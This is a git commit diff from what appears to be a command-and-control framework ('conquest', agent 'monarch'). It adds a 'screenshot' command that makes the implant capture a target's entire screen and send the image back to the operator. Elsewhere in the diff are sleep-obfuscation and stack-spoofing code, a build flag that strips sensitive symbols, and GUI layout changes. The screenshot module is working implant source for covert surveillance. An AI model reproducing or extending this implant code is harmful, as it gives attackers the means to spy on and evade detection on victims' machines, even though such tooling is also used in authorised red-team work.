Implemented 'screenshot' command.

This commit is contained in:
Jakob Friedl
2025-09-03 19:38:22 +02:00
parent 653dfac4b4
commit d0545ffd16
8 changed files with 189 additions and 12 deletions

View File

@@ -6,7 +6,7 @@ Collapsed=0
Pos=0,30
Size=2868,1665
Collapsed=0
DockId=0x00000001,0
DockId=0x00000003,0
[Window][Debug##Default]
Pos=60,60
@@ -24,13 +24,36 @@ Size=1080,1629
Collapsed=0
[Window][Example: Console]
Pos=0,781
Size=2868,914
Pos=0,458
Size=2868,1237
Collapsed=0
DockId=0x00000002,0
[Docking][Data]
DockSpace ID=0x3674675E Window=0x538FB738 Pos=0,30 Size=2868,1665 Split=Y Selected=0x5E5F7166
DockNode ID=0x00000001 Parent=0x3674675E SizeRef=2868,749 CentralNode=1 Selected=0x5E5F7166
DockNode ID=0x00000002 Parent=0x3674675E SizeRef=2868,914 Selected=0x1BCA3180
[Window][Example: Log]
Pos=1951,30
Size=917,1103
Collapsed=0
DockId=0x00000004,0
[Window][DockSpace Demo]
Pos=0,0
Size=2868,1695
Collapsed=0
[Table][0x951FCC8A,6]
RefScale=24
Column 0 Width=50 Sort=0v
Column 1 Width=74
Column 2 Width=111
Column 3 Width=118
Column 4 Weight=1.0000
Column 5 Width=-1
[Docking][Data]
DockSpace ID=0x3674675E Window=0x538FB738 Pos=0,30 Size=2868,1665 Split=Y Selected=0x5E5F7166
DockNode ID=0x00000001 Parent=0x3674675E SizeRef=2868,426 Split=X Selected=0x5E5F7166
DockNode ID=0x00000003 Parent=0x00000001 SizeRef=1949,833 CentralNode=1 Selected=0x5E5F7166
DockNode ID=0x00000004 Parent=0x00000001 SizeRef=917,833 Selected=0x38CCB771
DockNode ID=0x00000002 Parent=0x3674675E SizeRef=2868,1237 Selected=0x1BCA3180
DockSpace ID=0xC0DFADC4 Window=0xD0388BC8 Pos=0,30 Size=2868,1665 CentralNode=1

View File

@@ -72,7 +72,7 @@ proc GetRandomThreadCtx(): CONTEXT =
return ctx
# Ekko sleep obfuscation with stack spoofing
# Timer based sleep obfuscation with stack spoofing (Ekko/Zilean)
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."

View File

@@ -69,6 +69,6 @@ proc main() =
except CatchableError as err:
echo "[-] ", err.msg
when isMainModule:
main()

View File

@@ -2,6 +2,6 @@
-d:agent
-d:release
--opt:size
--passL:"-s" # Stip symbols, such as sensitive function names
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -47,6 +47,7 @@ type
CMD_BOF = 12'u16
CMD_DOWNLOAD = 13'u16
CMD_UPLOAD = 14'u16
CMD_SCREENSHOT = 15'u16
StatusType* = enum
STATUS_COMPLETED = 0'u8

View File

@@ -8,7 +8,8 @@ import
filesystem,
filetransfer,
environment,
bof
bof,
screenshot
type
ModuleManager* = object
@@ -30,6 +31,7 @@ proc loadModules*() =
registerCommands(filetransfer.commands)
registerCommands(environment.commands)
registerCommands(bof.commands)
registerCommands(screenshot.commands)
proc getCommandByType*(cmdType: CommandType): Command =
return manager.commandsByType[cmdType]

151
src/modules/screenshot.nim Normal file
View File

@@ -0,0 +1,151 @@
import ../common/[types, utils]
# Define function prototype
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
Command(
name: protect("screenshot"),
commandType: CMD_SCREENSHOT,
description: protect("Take a screenshot of the target system."),
example: protect("screenshot"),
arguments: @[],
execute: executeScreenshot
)
]
# Implement execution functions
when defined(server):
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import winim/lean
import winim/inc/wingdi
import strutils, strformat, times
import ../agent/protocol/result
import ../common/[utils, serialize]
proc takeScreenshot(): seq[byte] =
var
screenshotLength: ULONG
screenshotBytes: PVOID
bmpFileHeader: BITMAPFILEHEADER
bmpInfoHeader: BITMAPINFOHEADER
bmpInfo: BITMAPINFO
desktop: BITMAP
deviceCtx: HDC
memDeviceCtx: HDC
bmpSection: HBITMAP
gdiCurrent: HGDIOBJ
gdiObject: HGDIOBJ
resX: INT
resY: INT
bitsLength: ULONG
bitsBuffer: PVOID
zeroMem(addr bmpFileHeader, sizeof(BITMAPFILEHEADER))
zeroMem(addr bmpInfoHeader, sizeof(BITMAPINFOHEADER))
zeroMem(addr bmpInfo, sizeof(BITMAPINFO))
zeroMem(addr desktop, sizeof(BITMAP))
# Retrieve system resolution
resX = GetSystemMetrics(SM_XVIRTUALSCREEN)
resY = GetSystemMetrics(SM_YVIRTUALSCREEN)
# Obtain handle to the device context for the entire screen
deviceCtx = GetDC(0)
if deviceCtx == 0:
raise newException(CatchableError, $GetLastError())
defer: ReleaseDC(0, deviceCtx)
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
if gdiCurrent == 0:
raise newException(CatchableError, $GetLastError())
defer: DeleteObject(gdiCurrent)
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
raise newException(CatchableError, $GetLastError())
# Construct BMP headers
# Calculate amount of bits required to represent screenshot
bitsLength = ((( 24 * desktop.bmWidth + 31) and not 31) div 8) * desktop.bmHeight
bmpFileHeader.bfType = 0x4D42 # Signature of the BMP file, "BM"
bmpFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)
bmpFileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitsLength
bmpInfoHeader.biSize = ULONG(sizeof(BITMAPINFOHEADER))
bmpInfoHeader.biBitCount = 24 # Color depth (same as defined in the formula above)
bmpInfoHeader.biCompression = BI_RGB # uncompressed RGB format
bmpInfoHeader.biPlanes = 1 # Number of color planes, always set to 1
bmpInfoHeader.biWidth = desktop.bmWidth # Width of the bitmap image
bmpInfoHeader.biHeight = desktop.bmHeight # Height of the bitmap image
# Size calculation and memory allocation
screenshotLength = bmpFileHeader.bfSize
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
if screenshotBytes == NULL:
raise newException(CatchableError, $GetLastError())
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
# Assembly the bitmap image
memDeviceCtx = CreateCompatibleDC(deviceCtx)
if memDeviceCtx == 0:
raise newException(CatchableError, $GetLastError())
defer: ReleaseDC(0, memDeviceCtx)
# Initialize BITMAPINFO with prepared info header
bmpInfo.bmiHeader = bmpInfoHeader
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
if bmpSection == 0 or bitsBuffer == NULL:
raise newException(CatchableError, $GetLastError())
# Select the newly created bitmap into the memory device context
gdiObject = SelectObject(memDeviceCtx, bmpSection)
if gdiObject == 0:
raise newException(CatchableError, $GetLastError())
defer: DeleteObject(gdiObject)
# Copy the screen content from the source device context to the memory device context
if BitBlt(
memDeviceCtx, # Destination device context
0, 0, # Destination coordinates
desktop.bmWidth, desktop.bmHeight, # Dimensions of the area to copy
deviceCtx, # Source device context
resX, resY, # Source coordinates
SRCCOPY # Copy source directly to destination
) == 0:
raise newException(CatchableError, $GetLastError())
# Return the screenshot as a seq[byte]
result = newSeq[byte](screenshotLength)
copyMem(addr result[0], addr bmpFileHeader, sizeof(BITMAPFILEHEADER))
copyMem(addr result[sizeof(BITMAPFILEHEADER)], addr bmpInfoHeader, sizeof(BITMAPINFOHEADER))
copyMem(addr result[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)], bitsBuffer, bitsLength)
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
try:
echo protect(" [>] Taking and uploading screenshot.")
let
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.bmp"
screenshotBytes: seq[byte] = takeScreenshot()
var packer = Packer.init()
packer.addDataWithLengthPrefix(string.toBytes(screenshotFilename))
packer.addDataWithLengthPrefix(screenshotBytes)
let data = packer.pack()
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, data)
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))

View File

@@ -48,7 +48,7 @@ proc handleHelp(cq: Conquest, parsed: seq[string]) =
cq.displayHelp()
except ValueError:
# Command was not found
cq.error("The command '{parsed[1]}' does not exist." & '\n')
cq.error(fmt"The command '{parsed[1]}' does not exist." & '\n')
proc handleAgentCommand*(cq: Conquest, input: string) =
# Return if no command (or just whitespace) is entered